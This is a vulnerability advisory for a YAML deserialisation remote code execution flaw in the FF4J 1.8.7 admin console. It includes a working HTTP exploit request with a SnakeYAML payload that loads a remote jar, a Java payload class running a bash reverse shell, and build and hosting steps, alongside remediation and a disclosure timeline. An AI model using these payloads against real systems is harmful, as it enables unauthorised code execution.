The FF4J v1.8.7 web administration console did not protect against YAML deserialisation vulnerabilities in the configuration import function. An attacker with access to the administration interface could remotely execute arbitrary Java code.
Date Released: 31/08/2020
Author: Adrian Hayes
Project Website: https://ff4j.org/
Affected Software: FF4J Web 1.8.7
Details
FF4J’s web administration console allows configuration to be exported and imported in YAML format. The YAML import functionality uses the SnakeYAML parser and did not protect against deserialisation vulnerabilities.
YAML deserialisation occurs in the org.ff4j.parser.yaml.YamlParser
class in the ff4j-config-yaml
package. This is called through a multipart file upload to the org.ff4j.web.controller.HomeController
class in the ff4j-web
package. The vulnerable code in the YamlParser
class is shown below:
public FF4jConfiguration parseConfigurationFile(InputStream inputStream) {
Util.assertNotNull(inputStream, "Cannot read file stream is empty, check readability and path.");
Yaml yaml = new Yaml();
Map<?,?> yamlConfigFile = yaml.load(inputStream);
The org.yaml.snakeyaml.Yaml
class is used to load user controlled YAML and is capable of instantiating any available Java class using the !!<class> [<param>]
syntax. This can be exploited to call the constructor of the any available Java class.
The following HTTP request can be used to trigger the vulnerability:
POST /ff4j-web-console/home HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=---------------------------254414042717925802653989772698
Content-Length: 472
Connection: close
-----------------------------254414042717925802653989772698
Content-Disposition: form-data; name="op"
import
-----------------------------254414042717925802653989772698
Content-Disposition: form-data; name="flipFile"; filename="test.yaml"
Content-Type: application/x-yaml
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:6666/yaml-payload.jar"]]]]
-----------------------------254414042717925802653989772698--
Exploitation
The above request includes a standard SnakeYAML insecure deserialisation payload. There are multiple possible payloads that should work, see the additional resources at the end of this advisory for more information.
This payload downloads and executes code from a crafted jar file. This jar file needs to contain a ScriptEngineManager
service manifest and associated class file. You can clone this git repository and edit it to meet your needs.
Java’s Runtime.exec
can be problematic with complex commands; I’ve included a (hopefully!) more reliable cmd execution template (*nix only) below:
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
import java.util.Base64;
import java.util.concurrent.TimeUnit;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
String cmd = "bash -i >& /dev/tcp/127.0.0.1/6666 0>&1"; // <-- your actual command here
String b64Cmd = Base64.getEncoder().encodeToString(cmd.getBytes());
cmd = "bash -c {echo,"+b64Cmd+"}|{base64,-d}|{bash,-i}"; // *nix only
Runtime.getRuntime()
.exec(cmd)
.waitFor(30, TimeUnit.SECONDS); //increase this probably
} catch (Exception e) {
//e.printStackTrace();
}
}
... snip ....
Within your yaml-payload
folder compile your payload class javac src/artsploit/AwesomeScriptEngineFactory1.java
and create a jar file jar -cvf yaml-payload.jar -C src/ .
. You can host this on any web server which is accessible by your target. Python’s basic HTTP server can be handy here python3 -m http.server 6666
.
The exploit relies on the target JVM being able to connect out to your HTTP server. If you see a connection to your HTTP server then the YAML payload has executed successfully. However, the actual code will only execute if the jar is crafted correctly and the cmd you want to execute doesn’t get hung up with Runtime.exec’s weirdness.
I recommend testing your payloads on a local instance first, the easiest way I found at the time of writing is to clone the ff4j-samples repository, open the ff4j-sample-springboot2x
folder in Intellij IDE, tweak the version in pom.xml
to the vulnerable version and then run a maven package command. You can now java -jar <path>/ff4j-sample-springboot2x-<version>.jar
to run the FF4J sample server.
Remediation
Update to version FF4J 1.8.8.
FF4J 1.8.8 has implemented SnakeYAML’s SafeConstuctor
class which only allows deserialisation of basic Java types and prevents dangerous classes being created.
Relevant commit: b3105f4b221f632f36739b38c17a0f660786b492.
Additional Resources
- https://github.com/artsploit/yaml-payload
- https://github.com/mbechler/marshalsec
- https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://medium.com/@swapneildash/snakeyaml-deserilization-exploited-b4a2c5ac0858
Timeline
02/07/2020 - Advisory sent to FF4J (@clunven)
12/08/2020 - FF4J confirmed fix in release 1.8.8
31/08/2020 - Advisory released